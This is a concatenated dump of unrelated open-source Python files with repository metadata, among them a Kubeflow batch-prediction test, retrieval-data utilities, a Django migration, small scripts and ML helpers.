
components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py

m-mayran/pipelines

4e89973504980ff89d896fda09fc29a339b2d744

[ "Apache-2.0" ]

null

components/google-cloud/tests/container/experimental/gcp_launcher/test_batch_prediction_job_remote_runner.py

m-mayran/pipelines

4e89973504980ff89d896fda09fc29a339b2d744

[ "Apache-2.0" ]

null

# Copyright 2021 The Kubeflow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Test Vertex AI Batch Prediction Job Remote Runner Client module.""" import json from logging import raiseExceptions import os import time import unittest from unittest import mock from google.cloud import aiplatform from google.cloud.aiplatform.compat.types import job_state as gca_job_state from google.protobuf import json_format from google_cloud_pipeline_components.proto.gcp_resources_pb2 import GcpResources from google_cloud_pipeline_components.container.experimental.gcp_launcher import batch_prediction_job_remote_runner from google_cloud_pipeline_components.container.experimental.gcp_launcher import job_remote_runner class BatchPredictionJobRemoteRunnerUtilsTests(unittest.TestCase): def setUp(self): super(BatchPredictionJobRemoteRunnerUtilsTests, self).setUp() self._payload = ( '{"batchPredictionJob": {"displayName": ' '"BatchPredictionComponentName", "model": ' '"projects/test/locations/test/models/test-model","inputConfig":' ' {"instancesFormat": "CSV","gcsSource": {"uris": ' '["test_gcs_source"]}}, "outputConfig": {"predictionsFormat": ' '"CSV", "gcsDestination": {"outputUriPrefix": ' '"test_gcs_destination"}}}}') self._job_type = 'BatchPredictionJob' self._project = 'test_project' self._location = 'test_region' self._batch_prediction_job_name = '/projects/{self._project}/locations/{self._location}/jobs/test_job_id' self._gcp_resources_path = 'gcp_resources' self._batch_prediction_job_uri_prefix = f'https://{self._location}-aiplatform.googleapis.com/v1/' def tearDown(self): if os.path.exists(self._gcp_resources_path): os.remove(self._gcp_resources_path) @mock.patch.object(aiplatform.gapic, 'JobServiceClient', autospec=True) def test_batch_prediction_job_remote_runner_on_region_is_set_correctly_in_client_options( self, mock_job_service_client): job_client = mock.Mock() mock_job_service_client.return_value = job_client create_batch_prediction_job_response = mock.Mock() job_client.create_batch_prediction_job.return_value = create_batch_prediction_job_response create_batch_prediction_job_response.name = self._batch_prediction_job_name get_batch_prediction_job_response = mock.Mock() job_client.get_batch_prediction_job.return_value = get_batch_prediction_job_response get_batch_prediction_job_response.state = gca_job_state.JobState.JOB_STATE_SUCCEEDED batch_prediction_job_remote_runner.create_batch_prediction_job( self._job_type, self._project, self._location, self._payload, self._gcp_resources_path) mock_job_service_client.assert_called_once_with( client_options={ 'api_endpoint': 'test_region-aiplatform.googleapis.com' }, client_info=mock.ANY) @mock.patch.object(aiplatform.gapic, 'JobServiceClient', autospec=True) @mock.patch.object(os.path, 'exists', autospec=True) def test_batch_prediction_job_remote_runner_on_payload_deserializes_correctly( self, mock_path_exists, mock_job_service_client): job_client = mock.Mock() mock_job_service_client.return_value = job_client create_batch_prediction_job_response = mock.Mock() job_client.create_batch_prediction_job.return_value = create_batch_prediction_job_response create_batch_prediction_job_response.name = self._batch_prediction_job_name get_batch_prediction_job_response = mock.Mock() job_client.get_batch_prediction_job.return_value = get_batch_prediction_job_response get_batch_prediction_job_response.state = gca_job_state.JobState.JOB_STATE_SUCCEEDED mock_path_exists.return_value = False batch_prediction_job_remote_runner.create_batch_prediction_job( self._job_type, self._project, self._location, self._payload, self._gcp_resources_path) expected_parent = f'projects/{self._project}/locations/{self._location}' expected_job_spec = json.loads(self._payload, strict=False) job_client.create_batch_prediction_job.assert_called_once_with( parent=expected_parent, batch_prediction_job=expected_job_spec) @mock.patch.object(aiplatform.gapic, 'JobServiceClient', autospec=True) @mock.patch.object(os.path, 'exists', autospec=True) def test_batch_prediction_job_remote_runner_raises_exception_on_error( self, mock_path_exists, mock_job_service_client): job_client = mock.Mock() mock_job_service_client.return_value = job_client create_batch_prediction_job_response = mock.Mock() job_client.create_batch_prediction_job.return_value = create_batch_prediction_job_response create_batch_prediction_job_response.name = self._batch_prediction_job_name get_batch_prediction_job_response = mock.Mock() job_client.get_batch_prediction_job.return_value = get_batch_prediction_job_response get_batch_prediction_job_response.state = gca_job_state.JobState.JOB_STATE_FAILED mock_path_exists.return_value = False with self.assertRaises(RuntimeError): batch_prediction_job_remote_runner.create_batch_prediction_job( self._job_type, self._project, self._location, self._payload, self._gcp_resources_path) @mock.patch.object(aiplatform.gapic, 'JobServiceClient', autospec=True) @mock.patch.object(os.path, 'exists', autospec=True) @mock.patch.object(time, 'sleep', autospec=True) def test_batch_prediction_job_remote_runner_retries_to_get_status_on_non_completed_job( self, mock_time_sleep, mock_path_exists, mock_job_service_client): job_client = mock.Mock() mock_job_service_client.return_value = job_client create_batch_prediction_job_response = mock.Mock() job_client.create_batch_prediction_job.return_value = create_batch_prediction_job_response create_batch_prediction_job_response.name = self._batch_prediction_job_name get_batch_prediction_job_response_success = mock.Mock() get_batch_prediction_job_response_success.state = gca_job_state.JobState.JOB_STATE_SUCCEEDED get_batch_prediction_job_response_running = mock.Mock() get_batch_prediction_job_response_running.state = gca_job_state.JobState.JOB_STATE_RUNNING job_client.get_batch_prediction_job.side_effect = [ get_batch_prediction_job_response_running, get_batch_prediction_job_response_success ] mock_path_exists.return_value = False batch_prediction_job_remote_runner.create_batch_prediction_job( self._job_type, self._project, self._location, self._payload, self._gcp_resources_path) mock_time_sleep.assert_called_once_with( job_remote_runner._POLLING_INTERVAL_IN_SECONDS) self.assertEqual(job_client.get_batch_prediction_job.call_count, 2) @mock.patch.object(aiplatform.gapic, 'JobServiceClient', autospec=True) @mock.patch.object(os.path, 'exists', autospec=True) def test_batch_prediction_job_remote_runner_returns_gcp_resources( self, mock_path_exists, mock_job_service_client): job_client = mock.Mock() mock_job_service_client.return_value = job_client create_batch_prediction_job_response = mock.Mock() job_client.create_batch_prediction_job.return_value = create_batch_prediction_job_response create_batch_prediction_job_response.name = self._batch_prediction_job_name get_batch_prediction_job_response_success = mock.Mock() get_batch_prediction_job_response_success.state = gca_job_state.JobState.JOB_STATE_SUCCEEDED job_client.get_batch_prediction_job.side_effect = [ get_batch_prediction_job_response_success ] mock_path_exists.return_value = False batch_prediction_job_remote_runner.create_batch_prediction_job( self._job_type, self._project, self._location, self._payload, self._gcp_resources_path) with open(self._gcp_resources_path) as f: serialized_gcp_resources = f.read() # Instantiate GCPResources Proto batch_prediction_job_resources = json_format.Parse( serialized_gcp_resources, GcpResources()) self.assertEqual(len(batch_prediction_job_resources.resources), 1) batch_prediction_job_name = batch_prediction_job_resources.resources[ 0].resource_uri[len(self._batch_prediction_job_uri_prefix):] self.assertEqual(batch_prediction_job_name, self._batch_prediction_job_name)

45.380711

115

0.794519

1,169

8,940

5.59367

0.179641

0.176633

0.211959

0.131213

0.669827

0.638324

0.590151

0.579599

0.572106

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0.130872

8,940

196

116

45.612245

0.839897

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0.142857

0

null

0

1

0

null

0

1

402c6d1527bb64bf420904254134ab7105236ec8

10,690

py

Python

data_utils.py

algoprog/Quin

c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8

[ "MIT" ]

47

2020-08-02T12:28:07.000Z

2022-03-30T01:56:57.000Z

data_utils.py

algoprog/Quin

c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8

[ "MIT" ]

4

2020-09-20T17:31:51.000Z

2021-12-02T17:40:03.000Z

data_utils.py

algoprog/Quin

c1fd3b8e5e2163217f6c8062620ee0c1dfeed0e8

[ "MIT" ]

4

2020-11-23T15:47:34.000Z

2021-03-30T02:02:02.000Z

import csv import json import pickle import logging import re import pandas import gzip import os import numpy as np from random import randint, random from tqdm import tqdm from retriever.dense_retriever import DenseRetriever from models.tokenization import tokenize from typing import Union, List class InputExample: """ Structure for one input example with texts, the label and a unique id """ def __init__(self, guid: str, texts: List[str], label: Union[int, float]): """ Creates one InputExample with the given texts, guid and label str.strip() is called on both texts. :param guid id for the example :param texts the texts for the example :param label the label for the example """ self.guid = guid self.texts = [text.strip() for text in texts] self.label = label def get_texts(self): return self.texts def get_label(self): return self.label class LoggingHandler(logging.Handler): def __init__(self, level=logging.NOTSET): super().__init__(level) def emit(self, record): try: msg = self.format(record) tqdm.write(msg) self.flush() except (KeyboardInterrupt, SystemExit): raise except: self.handleError(record) def get_examples(filename, max_examples=0): examples = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) label = sample['label'] guid = "%s-%d" % (filename, id) id += 1 if label == 'entailment': label = 0 elif label == 'contradiction': label = 1 else: label = 2 examples.append(InputExample(guid=guid, texts=[sample['s1'], sample['s2']], label=label)) if 0 < max_examples <= len(examples): break return examples def get_qa_examples(filename, max_examples=0, dev=False): examples = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) label = sample['relevant'] guid = "%s-%d" % (filename, id) id += 1 examples.append(InputExample(guid=guid, texts=[sample['question'], sample['answer']], label=label)) if not dev: if label == 1: for _ in range(13): examples.append(InputExample(guid=guid, texts=[sample['question'], sample['answer']], label=label)) if 0 < max_examples <= len(examples): break return examples def map_label(label): labels = {"relevant": 0, "irrelevant": 1} return labels[label.strip().lower()] def get_qar_examples(filename, max_examples=0): examples = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) guid = "%s-%d" % (filename, id) id += 1 examples.append(InputExample(guid=guid, texts=[sample['question'], sample['answer']], label=1.0)) if 0 < max_examples <= len(examples): break return examples def get_qar_artificial_examples(): examples = [] id = 0 print('Loading passages...') passages = [] file = open('data/msmarco/collection.tsv', 'r', encoding='utf8') while True: line = file.readline() if not line: break line = line.rstrip('\n').split('\t') passages.append(line[1]) print('Loaded passages') with open('data/qar/qar_artificial_queries.csv') as f: for i, line in enumerate(f): queries = line.rstrip('\n').split('|') for query in queries: guid = "%s-%d" % ('', id) id += 1 examples.append(InputExample(guid=guid, texts=[query, passages[i]], label=1.0)) return examples def get_single_examples(filename, max_examples=0): examples = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) guid = "%s-%d" % (filename, id) id += 1 examples.append(InputExample(guid=guid, texts=[sample['text']], label=1)) if 0 < max_examples <= len(examples): break return examples def get_qnli_examples(filename, max_examples=0, no_contradictions=False, fever_only=False): examples = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) label = sample['label'] if label == 'contradiction' and no_contradictions: continue if sample['evidence'] == '': continue if fever_only and sample['source'] != 'fever': continue guid = "%s-%d" % (filename, id) id += 1 examples.append(InputExample(guid=guid, texts=[sample['statement'].strip(), sample['evidence'].strip()], label=1.0)) if 0 < max_examples <= len(examples): break return examples def get_retrieval_examples(filename, negative_corpus='data/msmarco/collection.tsv', max_examples=0, no_statements=True, encoder_model=None, negative_samples_num=4): examples = [] queries = [] passages = [] negative_passages = [] id = 0 with open(filename, encoding='utf8') as file: for j, line in enumerate(file): line = line.rstrip('\n') sample = json.loads(line) if 'evidence' in sample and sample['evidence'] == '': continue guid = "%s-%d" % (filename, id) id += 1 if sample['type'] == 'question': query = sample['question'] passage = sample['answer'] else: query = sample['statement'] passage = sample['evidence'] query = query.strip() passage = passage.strip() if sample['type'] == 'statement' and no_statements: continue queries.append(query) passages.append(passage) if sample['source'] == 'natural-questions': negative_passages.append(passage) if max_examples == len(passages): break if encoder_model is not None: # Load MSMARCO passages logging.info('Loading MSM passages...') with open(negative_corpus) as file: for line in file: p = line.rstrip('\n').split('\t')[1] negative_passages.append(p) logging.info('Building ANN index...') dense_retriever = DenseRetriever(model=encoder_model, batch_size=1024, use_gpu=True) dense_retriever.create_index_from_documents(negative_passages) results = dense_retriever.search(queries=queries, limit=100, probes=256) negative_samples = [ [negative_passages[p[0]] for p in r if negative_passages[p[0]] != passages[i]][:negative_samples_num] for i, r in enumerate(results) ] # print(queries[0]) # print(negative_samples[0][0]) for i in range(len(queries)): texts = [queries[i], passages[i]] + negative_samples[i] examples.append(InputExample(guid=guid, texts=texts, label=1.0)) else: for i in range(len(queries)): texts = [queries[i], passages[i]] examples.append(InputExample(guid=guid, texts=texts, label=1.0)) return examples def get_pair_input(tokenizer, sent1, sent2, max_len=256): text = "[CLS] {} [SEP] {} [SEP]".format(sent1, sent2) tokenized_text = tokenizer.tokenize(text)[:max_len] indexed_tokens = tokenizer.encode(text)[:max_len] segments_ids = [] sep_flag = False for i in range(len(tokenized_text)): if tokenized_text[i] == '[SEP]' and not sep_flag: segments_ids.append(0) sep_flag = True elif sep_flag: segments_ids.append(1) else: segments_ids.append(0) return indexed_tokens, segments_ids def build_batch(tokenizer, text_list, max_len=256): token_id_list = [] segment_list = [] attention_masks = [] longest = -1 for pair in text_list: sent1, sent2 = pair ids, segs = get_pair_input(tokenizer, sent1, sent2, max_len=max_len) if ids is None or segs is None: continue token_id_list.append(ids) segment_list.append(segs) attention_masks.append([1] * len(ids)) if len(ids) > longest: longest = len(ids) if len(token_id_list) == 0: return None, None, None # padding assert (len(token_id_list) == len(segment_list)) for ii in range(len(token_id_list)): token_id_list[ii] += [0] * (longest - len(token_id_list[ii])) attention_masks[ii] += [1] * (longest - len(attention_masks[ii])) segment_list[ii] += [1] * (longest - len(segment_list[ii])) return token_id_list, segment_list, attention_masks def load_unsupervised_dataset(dataset_file): print('Loading dataset...') x = pickle.load(open(dataset_file, "rb")) print('Done') return x, len(x[0]) def load_supervised_dataset(dataset_file): print('Loading dataset...') d = pickle.load(open(dataset_file, "rb")) print('Done') return d[0], d[1]

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false

0.072519

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0.007634

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0.022901

0

null

0

null

0

1

0

1

402d9bbc776d0b10c128c8af7e8de8955e864e57

327

py

Python

hc/accounts/migrations/0025_remove_member_team.py

opsct/healthchecks

069bc9b735c0473aed9946104ab85238d065bea1

[ "BSD-3-Clause" ]

null

hc/accounts/migrations/0025_remove_member_team.py

opsct/healthchecks

069bc9b735c0473aed9946104ab85238d065bea1

[ "BSD-3-Clause" ]

1

2021-06-10T23:14:00.000Z

hc/accounts/migrations/0025_remove_member_team.py

opsct/healthchecks

069bc9b735c0473aed9946104ab85238d065bea1

[ "BSD-3-Clause" ]

null

# Generated by Django 2.1.5 on 2019-01-22 08:33 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('accounts', '0024_auto_20190119_1540'), ] operations = [ migrations.RemoveField( model_name='member', name='team', ), ]

18.166667

48

0.590214

35

327

5.4

0.857143

0

0.134783

0.296636

327

17

49

19.235294

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1

0

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false

0

0.090909

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0.363636

0

null

0

1

0

null

0

1

403251bad5543a2ea9b5b81f85773876a2b6f3ba

1,458

py

Python

setup.py

pranithk/gluster-georep-tools

3c8c7dcf63042613b002385edcead7c1ec079e61

[ "MIT" ]

null

setup.py

pranithk/gluster-georep-tools

3c8c7dcf63042613b002385edcead7c1ec079e61

[ "MIT" ]

null

setup.py

pranithk/gluster-georep-tools

3c8c7dcf63042613b002385edcead7c1ec079e61

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ gluster-georep-tools.setup.py :copyright: (c) 2016 by Aravinda VK :license: MIT, see LICENSE for more details. """ from setuptools import setup setup( name="gluster-georep-tools", version="0.2", packages=["gluster_georep_tools", "gluster_georep_tools.status", "gluster_georep_tools.setup"], include_package_data=True, install_requires=['argparse', 'paramiko', 'glustercli'], entry_points={ "console_scripts": [ "gluster-georep-setup = gluster_georep_tools.setup.cli:main", "gluster-georep-status = gluster_georep_tools.status.cli:main", ] }, platforms="linux", zip_safe=False, author="Aravinda VK", author_email="mail@aravindavk.in", description="Gluster Geo-replication tools", license="MIT", keywords="gluster, tool, geo-replication", url="https://github.com/aravindavk/gluster-georep-tools", long_description=""" Gluster Geo-replication Tools """, classifiers=[ "Development Status :: 3 - Alpha", "Topic :: Utilities", "Environment :: Console", "License :: OSI Approved :: MIT License", "Operating System :: POSIX :: Linux", "Programming Language :: Python", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 2 :: Only" ], )

30.375

75

0.61454

151

1,458

5.81457

0.543046

0.148064

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0.078588

0.084282

0

0.011743

0.240741

1,458

47

76

31.021277

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0.559387

0.111111

0

1

0

true

0

0.026316

0

0.026316

0

null

0

null

0

1

0

1

403352816f5874a59e3b9fffa9b383a34c03d749

311

py

Python

imgtoch/__init__.py

hrpzcf/imgtoch

13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb

[ "MIT" ]

null

imgtoch/__init__.py

hrpzcf/imgtoch

13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb

[ "MIT" ]

null

imgtoch/__init__.py

hrpzcf/imgtoch

13b59dd4c6b65b8ee17bbd22ac1133a86d34d5fb

[ "MIT" ]

null

# coding: utf-8 from .__utils__ import grayscaleOf, makeImage, sortByGrayscale NAME = "imgtoch" VERSIONNUM = 0, 2, 3 VERSION = ".".join(map(str, VERSIONNUM)) AUTHOR = "hrpzcf" EMAIL = "hrpzcf@foxmail.com" WEBSITE = "https://gitee.com/hrpzcf/imgtoch" __all__ = ["grayscaleOf", "makeImage", "sortByGrayscale"]

23.923077

62

0.717042

36

311

5.972222

0.777778

0.186047

0.325581

0

0.014652

0.122187

311

12

63

25.916667

0.772894

0.041801

0

0.334459

0

1

0

false

0

0.125

0

0.125

0

null

0

1

0

null

0

1

4035dbde81734e9262f7a5d9f7fcf21b0a2fc083

1,006

py

Python

RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py

RLMarvin/RLBotPack

c88c4111bf67d324b471ad87ad962e7bc8c2a202

[ "MIT" ]

13

2019-05-25T20:25:51.000Z

2022-03-19T13:36:23.000Z

RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py

RLMarvin/RLBotPack

c88c4111bf67d324b471ad87ad962e7bc8c2a202

[ "MIT" ]

53

2019-06-07T13:31:59.000Z

2022-03-28T22:53:47.000Z

RLBotPack/JoeyBot/CSharpPythonAgent/CSharpPythonAgent.py

RLMarvin/RLBotPack

c88c4111bf67d324b471ad87ad962e7bc8c2a202

[ "MIT" ]

78

2019-06-30T08:42:13.000Z

2022-03-23T20:11:42.000Z

import os from rlbot.agents.base_agent import BOT_CONFIG_AGENT_HEADER from rlbot.agents.base_dotnet_agent import BaseDotNetAgent from rlbot.parsing.custom_config import ConfigHeader, ConfigObject class DotNetBot(BaseDotNetAgent): def get_port_file_path(self): # Look for a port.cfg file in the same directory as THIS python file. return os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__), 'port.cfg')) def load_config(self, config_header: ConfigHeader): self.dotnet_executable_path = config_header.getpath('dotnet_executable_path') self.logger.info(".NET executable is configured as {}".format(self.dotnet_executable_path)) @staticmethod def create_agent_configurations(config: ConfigObject): params = config.get_header(BOT_CONFIG_AGENT_HEADER) params.add_value('dotnet_executable_path', str, default=None, description='Relative path to the executable that runs the .NET executable.')

43.73913

102

0.744533

131

1,006

5.473282

0.480916

0.089261

0.111576

0.052999

0

0.171968

1,006

22

103

45.727273

0.860744

0.0666

0

0.159018

0.046958

0

1

0.2

false

0

0.266667

0.066667

0.6

0

null

0

null

0

1

0

1

4036ce0b3a0763152669516459e91450d4954edb

2,640

py

Python

v3_experiments.py

runekaagaard/workflows

7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa

[ "Unlicense" ]

null

v3_experiments.py

runekaagaard/workflows

7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa

[ "Unlicense" ]

null

v3_experiments.py

runekaagaard/workflows

7bb7fe3821bc33b5e82c65dda3ca61f69ee8bcfa

[ "Unlicense" ]

null

# coding=utf-8 import inspect from functools import wraps def listify(func_s): if callable(func_s): return [func_s] else: return func_s def parse_conditions(condition_s, args, kwargs, title): err_msg = unicode(title) + u" nr. {} failed: {}" for i, condition in enumerate(listify(condition_s), 1): assert condition(*args, ** kwargs) is not False, unicode(err_msg).format( i, unicode(inspect.getsource(condition))) def mark_takes_no_arguments(func): func.takes_no_arguments = True return func def takes_no_arguments(func): mark_takes_no_arguments(func) return func def contract(pre_conditions, post_conditions): """ Pre is before. Post is after. """ def _(func): @wraps(func) def __(*args, **kwargs): parse_conditions( pre_conditions, args, kwargs, title='Preconditions') result = func(*args, **kwargs) parse_conditions( post_conditions, [result], {}, title='Postconditions') return result return __ return _ def processing(pre_process, post_process): "Procemanns" def _(func): @wraps(func) def __(*args, **kwargs): args, kwargs = pre_process(*args, **kwargs) return post_process(func(*args, **kwargs)) return __ return _ @takes_no_arguments def add_one(func): @wraps(func) def _(*args, **kwargs): return func(*args, **kwargs) + 1 return _ def compose(*workflows): def extract_kwargs(workflow, kwargs): return {x: kwargs[x] for x in inspect.getargspec(workflow).args} def _(*args, **kwargs): assert len(args) == 0, "Only keywords allowed." def __(func): @wraps(func) def ___(*a, **k): return func(*a, **k) for workflow in reversed(workflows): if hasattr(workflow, 'takes_no_arguments'): ___ = workflow(___) else: ___ = workflow(**extract_kwargs(workflow, kwargs))(___) ___.__doc__ += workflow.__doc__ or "" return ___ return __ return _ someworkflow = compose(contract, processing, add_one) print someworkflow @someworkflow( pre_conditions=[lambda x: x == 2], post_conditions=lambda r: r == 15, pre_process=lambda x: ([x + 1], {}), post_process=lambda x: x + 1, ) def somefunc(x): """ Very important: x must be 2! """ return x + 10 print somefunc(2) help(somefunc)

22.372881

75

0.576894

292

2,640

4.907534

0.297945

0.08374

0.066992

0.044662

0.127704

0.058618

0.040475

0

0.007115

0.307955

2,640

117

76

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0.77723

0.004545

0

0.306667

0

0.037446

0

0.026667

0

null

0

0.026667

null

0.026667

0

null

0

null

0

1

0

1

403ac1f41e289fbd9825b8c92a8b0c154ef6090e

1,300

py

Python

trabalhoaqui/comp_perguntas/valida.py

EmanoelG/jogodaforca

06baf78b31e4b40d8db9fc5be67700be32c66cba

[ "MIT" ]

1

2020-06-06T17:09:55.000Z

trabalhoaqui/comp_perguntas/valida.py

EmanoelG/jogodaforca

06baf78b31e4b40d8db9fc5be67700be32c66cba

[ "MIT" ]

null

trabalhoaqui/comp_perguntas/valida.py

EmanoelG/jogodaforca

06baf78b31e4b40d8db9fc5be67700be32c66cba

[ "MIT" ]

null

from jogo import desenha_jogo from random import randint import sys def input_cria_usuario(): usuario = dict() usuario['nome'] = input('Informe o seu nome: ') usuario['pontos'] = 0 usuario['desafiado'] = False return usuario def comeco(j1, j2): j1 = 1 j2 = 2 n= randint(j1,j2) escolhildo = n return escolhildo # mexi a aqui def completou(acertos, pala , jogador_adivinhao):#recebe as letras acertadass e depois verifica se a palavra esta completa if acertos == len(pala):## e aqui print(f'\t\t\t\t\t \033[37mJogador >> {jogador_adivinhao} << venceu !\033[m') print(""" \033[35m _____ ___ ___ ___ _______ / ___| / | / |/ | | ____| | | / | / /| /| | | |__ | | _ / /| | / / |__/ | | | __| | |_| | / ___ | / / | | | |____ \_____//_/ |_| /_/ |_| |_______| _____ _ _ ______ ______ / _ \ | | / / | _____| | _ | | | | | | | / / | |__ | |_| | | | | | | | / / | __| | _ / | |_| | | |/ / | |____ | | \ | \_____/ |___/ |______| |_| \_|\033[m """)

23.214286

127

0.412308

94

1,300

4.457447

0.606383

0.019093

0.02148

0.019093

0

0.03383

0.431538

1,300

55

128

23.636364

0.533153

0.073077

0

0.030303

0.60401

0

1

0.090909

false

0

0.090909

0

0.242424

0.060606

0

null

0

1

0

null

0

1

403c902e2dd03cc231fcbd2349b64917b93e7dde

826

py

Python

scripts/ip2hex.py

Kidlike/dotfiles

b9c4daa4da1f416662b708338a497b5a620ddcbf

[ "Apache-2.0" ]

null

scripts/ip2hex.py

Kidlike/dotfiles

b9c4daa4da1f416662b708338a497b5a620ddcbf

[ "Apache-2.0" ]

null

scripts/ip2hex.py

Kidlike/dotfiles

b9c4daa4da1f416662b708338a497b5a620ddcbf

[ "Apache-2.0" ]

1

2018-05-28T08:08:25.000Z

#!/usr/bin/python import sys import re def iptohex(ip): octets = ip.split('.') hex_octets = [] for octet in octets: if int(octet) < 16: hex_octets.append('0' + hex(int(octet))[2:]) else: hex_octets.append(hex(int(octet))[2:]) hex_octets = ''.join(hex_octets) return hex_octets def main(): if (len(sys.argv) != 2): print 'Usage: ./iptohex.py x.x.x.x' sys.exit(1) ip = sys.argv[1] invalidInput = re.search(r'[^0-9\.]', ip) if invalidInput: print 'Usage: ./iptohex.py x.x.x.x' hex_ip = iptohex(ip) print "Hex IP: %s " % (hex_ip) print "Decimal IP: %s" % (ip) if __name__ == '__main__': main()

26.645161

68

0.468523

105

826

3.533333

0.380952

0.145553

0.032345

0.06469

0.123989

0

0.019455

0.377724

826

30

69

27.533333

0.702335

0.01937

0

0.08

0

0.119901

0

null

0

0.08

null

0.16

0

null

0

null

0

1

0

1

403cacc3c31596cf185f47bf3504df89608d6f14

1,329

py

Python

src/models/CVX_weighted.py

DanqingZ/social-DCM

3c2541a7ed0e7f4519d97783b5b673fa6c06ae94

[ "MIT" ]

14

2017-08-10T17:00:20.000Z

2021-12-23T09:00:50.000Z

src/models/CVX_weighted.py

DanqingZ/social-DCM

3c2541a7ed0e7f4519d97783b5b673fa6c06ae94

[ "MIT" ]

null

src/models/CVX_weighted.py

DanqingZ/social-DCM

3c2541a7ed0e7f4519d97783b5b673fa6c06ae94

[ "MIT" ]

1

2019-08-13T08:47:43.000Z

import random import numpy as np import numpy.linalg as LA import scipy as spy import time from itertools import * import sys import cvxpy as cvx from random import randint import numpy as np import random from scipy.sparse import csc_matrix from scipy import sparse as sp import networkx as nx class CVX_weighted: def __init__(self, X, y, b,pos_node ,temp, Lambda, Rho): self.X = X self.y = y self.value = 0 self.dim = X.shape[1] self.Lambda = Lambda self.Rho = Rho self.temp = temp self.num_nodes = nx.number_of_nodes(self.temp) self.W = np.zeros((self.dim)) self.b = b self.pos_node = pos_node self.P = np.zeros((self.num_nodes,self.num_nodes)) def init_P(self): for i in self.temp.nodes_iter(): for j in self.temp.neighbors(i): self.P[i,j] = self.temp[i][j]['pos_edge_prob'] self.P = np.diag(np.sum(self.P,1)) - self.P def solve(self): dim = self.X.shape[1] w = cvx.Variable(dim) num_nodes = nx.number_of_nodes(self.temp) b = cvx.Variable(num_nodes) loss = cvx.sum_entries(cvx.mul_elemwise(np.array(self.pos_node),cvx.logistic(-cvx.mul_elemwise(self.y, self.X*w+b)))) + self.Lambda*cvx.quad_form(b,self.P) problem = cvx.Problem(cvx.Minimize(loss)) problem.solve(verbose=False) opt = problem.value self.W = w.value self.b = b.value self.value = opt

26.58

157

0.699774

242

1,329

3.731405

0.297521

0.053156

0.039867

0.033223

0.115172

0.06866

0

0.00363

0.170805

1,329

50

158

26.58

0.815789

0

0.088889

0

0.009774

0

1

0.066667

false

0

0.311111

0

0.4

0

null

0

null

0

1

0

1

404a73f48e1b3ca8bb85958c0c604a1931f4d34f

1,450

py

Python

jina/executors/evaluators/rank/recall.py

sdsd0101/jina

1a835d9015c627a2cbcdc58ee3d127962ada1bc9

[ "Apache-2.0" ]

2

2020-10-19T17:06:19.000Z

2020-10-22T14:10:55.000Z

jina/executors/evaluators/rank/recall.py

ayansiddiqui007/jina

2a764410de47cc11e53c8f652ea1095d5dab5435

[ "Apache-2.0" ]

null

jina/executors/evaluators/rank/recall.py

ayansiddiqui007/jina

2a764410de47cc11e53c8f652ea1095d5dab5435

[ "Apache-2.0" ]

null

from typing import Sequence, Any from jina.executors.evaluators.rank import BaseRankingEvaluator from jina.executors.evaluators.decorators import as_aggregator class RecallEvaluator(BaseRankingEvaluator): """A :class:`RecallEvaluator` evaluates the Precision of the search. It computes how many of the first given `eval_at` groundtruth are found in the matches """ def __init__(self, eval_at: int, *args, **kwargs): """" :param eval_at: k at which evaluation is performed """ super().__init__(*args, **kwargs) self.eval_at = eval_at @property def complete_name(self): return f'Recall@{self.eval_at}' @as_aggregator def evaluate(self, matches_ids: Sequence[Any], groundtruth_ids: Sequence[Any], *args, **kwargs) -> float: """" :param matches_ids: the matched document identifiers from the request as matched by jina indexers and rankers :param groundtruth_ids: the expected documents matches ids sorted as they are expected :return the evaluation metric value for the request document """ ret = 0.0 for doc_id in groundtruth_ids[:self.eval_at]: if doc_id in matches_ids: ret += 1.0 divisor = min(self.eval_at, len(matches_ids)) if divisor == 0.0: """TODO: Agree on a behavior""" return 0.0 else: return ret / divisor

35.365854

117

0.648966

185

1,450

4.935135

0.459459

0.052574

0.054765

0.059146

0

0.007498

0.264138

1,450

40

118

36.25

0.848172

0.32069

0

0.023973

0

0.025

0

1

0.142857

false

0

0.142857

0.047619

0.47619

0

null

0

null

0

1

0

1

404be03a1fd1048c68239ebc361551f5a1526980

270

py

Python

tests/schema_mapping/structures/example5.py

danny-vayu/typedpy

e97735a742acbd5f1133e23f08cf43836476686a

[ "MIT" ]

null

tests/schema_mapping/structures/example5.py

danny-vayu/typedpy

e97735a742acbd5f1133e23f08cf43836476686a

[ "MIT" ]

null

tests/schema_mapping/structures/example5.py

danny-vayu/typedpy

e97735a742acbd5f1133e23f08cf43836476686a

[ "MIT" ]

null

from typedpy import Array, DoNotSerialize, Structure, mappers class Foo(Structure): i: int s: str _serialization_mapper = {"i": "j", "s": "name"} class Example5(Foo): a: Array _serialization_mapper = [{"j": DoNotSerialize}, mappers.TO_LOWERCASE]

20.769231

73

0.674074

32

270

5.53125

0.65625

0.214689

0

0.004587

0.192593

270

13

73

20.769231

0.807339

0

0.02952

0

1

0

false

0

0.125

0

1

0

null

1

0

null

0

1

